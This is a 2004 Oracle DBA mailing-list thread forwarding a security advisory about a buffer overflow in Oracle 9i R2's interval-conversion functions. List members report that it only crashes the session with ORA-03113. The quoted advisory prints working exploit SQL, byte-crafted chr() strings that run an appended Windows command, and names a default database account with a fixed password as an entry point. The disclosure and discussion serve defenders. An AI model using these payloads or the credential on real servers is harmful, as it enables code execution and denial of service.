RE: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow

From: Igor Neyman <ineyman_at_perceptron.com>
Date: Thu, 26 Feb 2004 13:30:24 -0500
Message-ID: <006f01c3fc96$991d8b10$0704a8c0@development.perceptron.com>

Tried it on 9.2, got the same ORA-03113.

Igor Neyman, OCP DBA

ineyman_at_perceptron.com

-----Original Message-----
From: oracle-l-bounce_at_freelists.org
[mailto:oracle-l-bounce_at_freelists.org] On Behalf Of Jared.Still_at_radisys.com
Sent: Thursday, February 26, 2004 1:18 PM To: oracle-l_at_freelists.org
Subject: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow

Has anyone here heard of this?

First I've seen it. Could not get the exploit to work on 8i or 9i, haven't tried 10g.

It does however cause an ORA-3113.

Jared

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Oracle Database 9ir2 Interval Conversion Buffer Overflow

Oracle Database Server is one of the most used database servers in the world, it was marketed as being unbreakable and many people thinks that is one of the most secure database server in the market.

Oracle Database Server provides two functions that can be used with PL/SQL to convert numbers to date/time intervals, these functions have buffer overflow vulnerabilities.

Vulnerable Systems:
* Oracle Database version 9ir2 and prior

When any of these conversion functions are called with a long string as a second parameter a buffer overflow occurs.

To reproduce the overflow execute the next PL/SQL: SELECT NUMTOYMINTERVAL(1,'longstringhere') from dual; SELECT NUMTODSINTERVAL(1,'longstringhere') from dual;

Any Oracle Database user can exploit this vulnerability because access to these functions can't be restricted. Exploitation of this vulnerability allow an attacker to execute arbitrary code, also it can be exploited to cause DOS (Denial of service) killing Oracle server process. An attacker can complete compromise the OS and database if Oracle is running on Windows platform, because Oracle must run under the local System account or under an administrative account. If Oracle is running on *nix then only the database could be compromised because Oracle runs mostly under oracle user which has restricted permissions.

Important: Exploitation of these vulnerabilities becomes easy if Oracle Internet Directory has been deployed, because Oracle Internet Directory creates a database user called ODSCOMMON that has a default password ODSCOMMON, this password can not be changed, so any attacker can use this user to connect to database and exploit these vulnerabilities.

Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server and Linux confirm these vulnerabilities. Versions running in other OS platforms are believed to be affected too. Previous Oracle Database Server versions could be affected by these vulnerabilities.

Exploits:
-- These exploits should work on Windows 2000 Server and Windows XP, not tested on Windows 2003.
-- Run any command at the end of the string SELECT
NUMTOYMINTERVAL(1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR' ||

chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) ||
chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) ||
chr(33) || chr(148) || chr(01) || chr(32)||'echo ARE YOU SURE?

>c:\Unbreakable.txt') ?FROM DUAL;

SELECT
NUMTODSINTERVAL(1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR' ||

chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) ||
chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) ||
chr(33) || chr(148) || chr(01) || chr(32) || 'echo ARE YOU SURE?

>c:\Unbreakable.txt') ?

FROM DUAL; Vendor Fix:
Go to Oracle Metalink site, http://metalink.oracle.com
<http://metalink.oracle.com/> .

Vendor Contact:
Oracle was contacted and they released a fix without telling the public nor Ceaser anything and without issuing an alert.

Additional Information:
The information has been provided by Cesar <mailto:cesarc56_at_yahoo.com> .

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Received on Thu Feb 26 2004 - 12:32:17 CST